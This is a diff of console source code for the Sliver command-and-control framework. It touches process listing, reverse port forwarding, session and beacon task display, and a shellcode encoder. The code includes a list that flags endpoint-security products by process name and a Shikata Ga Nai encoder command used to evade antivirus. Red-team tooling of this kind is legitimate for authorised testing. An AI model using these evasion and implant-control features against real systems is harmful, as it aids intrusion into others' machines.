"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -138,38 +104,19 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
ownerFilter := ctx.Flags.String("owner")
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
pstree := ctx.Flags.Bool("tree")
if pstree {
var currentPID int32
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil && session.PID != 0 {
currentPID = session.PID
} else if beacon != nil && beacon.PID != 0 {
currentPID = beacon.PID
}
// Print the process tree
sorted := SortProcessesByPID(ps.Processes)
tree := NewPsTree(currentPID)
for _, p := range sorted {
tree.AddProcess(p)
}
con.PrintInfof("Process Tree:\n%s", tree.String())
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
case "darwin":
fallthrough
case "linux":
fallthrough
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
}
cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -187,8 +134,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.AscNumeric},
{Name: "ppid", Mode: table.AscNumeric},
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
if !interactive {
overflow = true
@@ -235,7 +182,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -244,7 +190,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -265,7 +210,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
@@ -273,7 +217,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
@@ -296,11 +239,3 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
}
return -1
}
// SortProcessesByPID - Sorts a list of processes by PID
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
sort.Slice(ps, func(i, j int) bool {
return ps[i].Pid < ps[j].Pid
})
return ps
}
-149
View File
@@ -1,149 +0,0 @@
package processes
import (
"fmt"
"sort"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/xlab/treeprint"
)
// A PsTree is a tree of *commonpb.Process
type PsTree struct {
printableTree treeprint.Tree // only used for rendering
implantPID int32
procTree *node // used to hold the tree structure
}
type node struct {
Value *commonpb.Process // The process information
Children map[int32]*node // The children of this node
Parent *node // The parent of this node
}
// NewPsTree creates a new PsTree
func NewPsTree(pid int32) *PsTree {
return &PsTree{
printableTree: treeprint.New(),
implantPID: pid,
procTree: &node{Value: &commonpb.Process{Pid: -1}},
}
}
func (n *node) insert(proc *commonpb.Process) {
if n.Value == nil {
n.Value = proc
return
}
if parent := n.findParent(proc); parent != nil {
if parent.Children == nil {
parent.Children = make(map[int32]*node)
}
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
} else {
if n.Children == nil {
n.Children = make(map[int32]*node)
}
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
}
}
func (n *node) findParent(proc *commonpb.Process) *node {
if n.Value == nil {
return nil
}
if n.Value.Pid == proc.Ppid {
return n
}
for _, child := range n.Children {
if p := child.findParent(proc); p != nil {
return p
}
}
return nil
}
func reorder(root *node) {
toDelete := make([]int32, 0)
for pid, child := range root.Children {
// skip root node
if child.Value.Pid == -1 {
continue
}
// Skip edge case of [System Process] on Windows
if child.Value.Ppid == pid {
continue
}
// only focus on children without parent
if child.Parent.Value.Pid == -1 {
if parent := root.findParent(child.Value); parent != nil {
child.Parent = parent
if parent.Children == nil {
parent.Children = make(map[int32]*node)
}
// copy to new parent
parent.Children[pid] = child
// mark for deletion
toDelete = append(toDelete, pid)
}
}
}
// delete children that were moved
for _, pid := range toDelete {
delete(root.Children, pid)
}
}
func (t *PsTree) AddProcess(proc *commonpb.Process) {
t.procTree.insert(proc)
}
func (t *PsTree) filterProc(proc *commonpb.Process) string {
color := console.Normal
if proc.Pid == t.implantPID {
color = console.Green
}
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
}
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
}
func (t *PsTree) String() string {
reorder(t.procTree)
return t.Print()
}
func (t *PsTree) Print() string {
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
for k := range t.procTree.Children {
topLevelPIDs = append(topLevelPIDs, int(k))
}
sort.Ints(topLevelPIDs)
for _, pid := range topLevelPIDs {
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
}
return t.printableTree.String()
}
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
for pid, proc := range procs {
if proc.Value.Pid == -1 {
continue
}
procName := t.filterProc(proc.Value)
procNode := tree.FindByMeta(pid)
if procNode == nil {
if len(proc.Children) > 0 {
procNode = tree.AddMetaBranch(pid, procName)
} else {
procNode = tree.AddMetaNode(pid, procName)
}
}
t.addToTree(procNode, proc.Children)
}
}
+2 -3
View File
@@ -30,9 +30,8 @@ import (
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
con.PrintErrorf("No active session or beacon\n")
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
+3 -5
View File
@@ -19,7 +19,6 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -30,10 +29,9 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -43,6 +41,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
con.PrintInfof("Saved reactions to disk\n")
}
}
-77
View File
@@ -1,77 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-55
View File
@@ -1,55 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-74
View File
@@ -1,74 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+3 -6
View File
@@ -130,9 +130,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -141,7 +140,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -179,7 +177,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -188,8 +186,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
} else {
-1
View File
@@ -47,7 +47,6 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}
-2
View File
@@ -61,8 +61,6 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
if session == nil {
-81
View File
@@ -1,81 +0,0 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"io/ioutil"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
shellcodeFile := ctx.Args.String("shellcode")
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
}
arch := ctx.Flags.String("arch")
iterations := ctx.Flags.Int("iterations")
rawBadChars := ctx.Flags.String("bad-chars")
badChars, err := hex.DecodeString(rawBadChars)
if err != nil {
con.PrintErrorf("Failed to decode bad chars: %s", err)
return
}
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: rawShellcode,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
return
}
outputFile := ctx.Flags.String("save")
if outputFile == "" {
outputFile = filepath.Base(shellcodeFile)
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
}
+1 -22
View File
@@ -28,7 +28,6 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/privilege"
@@ -158,8 +157,6 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
@@ -213,25 +210,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
// ---------------------
// Call extension commands
// ---------------------
case sliverpb.MsgCallExtensionReq:
callExtension := &sliverpb.CallExtension{}
err := proto.Unmarshal(task.Response, callExtension)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
extensions.PrintExtOutput("", "", callExtension, con)
// ---------------------
// Exec commands
// ---------------------
case sliverpb.MsgInvokeExecuteAssemblyReq:
fallthrough
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
fallthrough
case sliverpb.MsgExecuteAssemblyReq:
execAssembly := &sliverpb.ExecuteAssembly{}
err := proto.Unmarshal(task.Response, execAssembly)
@@ -250,7 +231,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
},
}
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
@@ -448,7 +428,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
return
}
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
// ---------------------
// Privilege commands
@@ -566,7 +546,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"overflow": &grumble.FlagMapItem{Value: false},
"skip-pages": &grumble.FlagMapItem{Value: 0},
"print-cmdline": &grumble.FlagMapItem{Value: true},
"tree": &grumble.FlagMapItem{Value: false},
},
}
processes.PrintPS(beacon.OS, ps, true, ctx, con)
-60
View File
@@ -1,60 +0,0 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
-2
View File
@@ -97,8 +97,6 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
@@ -1,27 +1,10 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"io/ioutil"
"net/http"
"os"
"path"
@@ -111,7 +94,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
return err
}
defer file.Close()
data, err := io.ReadAll(file)
data, err := ioutil.ReadAll(file)
if err != nil {
return err
}
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
-18
View File
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -1,23 +1,5 @@
package websites
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+1 -1
View File
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
return sortedContents[i].Path < sortedContents[j].Path
})
for _, content := range sortedContents {
tw.AppendRow(table.Row{
tw.AppendHeader(table.Row{
content.Path,
content.ContentType,
content.Size,
+4 -76
View File
@@ -44,7 +44,6 @@ import (
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
@@ -92,7 +91,6 @@ type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
EventListeners *sync.Map
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
@@ -115,14 +113,12 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
ActiveTarget: &ActiveTarget{
observers: map[int]Observer{},
observerID: 0,
},
EventListeners: &sync.Map{},
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
@@ -139,7 +135,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
con.App.SetPrompt(con.GetPrompt())
})
go con.startEventLoop()
go con.EventLoop()
go core.TunnelLoop(rpc)
err := con.App.Run()
@@ -149,7 +145,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
return err
}
func (con *SliverConsoleClient) startEventLoop() {
func (con *SliverConsoleClient) EventLoop() {
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
@@ -161,10 +157,7 @@ func (con *SliverConsoleClient) startEventLoop() {
return
}
go con.triggerEventListeners(event)
// Trigger event based on type
echoed := false // Only echo the event once
switch event.EventType {
case consts.CanaryEvent:
@@ -174,7 +167,6 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
}
echoed = true
case consts.WatchtowerEvent:
msg := string(event.Data)
@@ -184,19 +176,15 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
}
echoed = true
case consts.JoinedEvent:
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
echoed = true
case consts.LeftEvent:
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
echoed = true
case consts.JobStoppedEvent:
job := event.Job
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
echoed = true
case consts.SessionOpenedEvent:
session := event.Session
@@ -212,14 +200,12 @@ func (con *SliverConsoleClient) startEventLoop() {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
}
echoed = true
case consts.SessionUpdateEvent:
session := event.Session
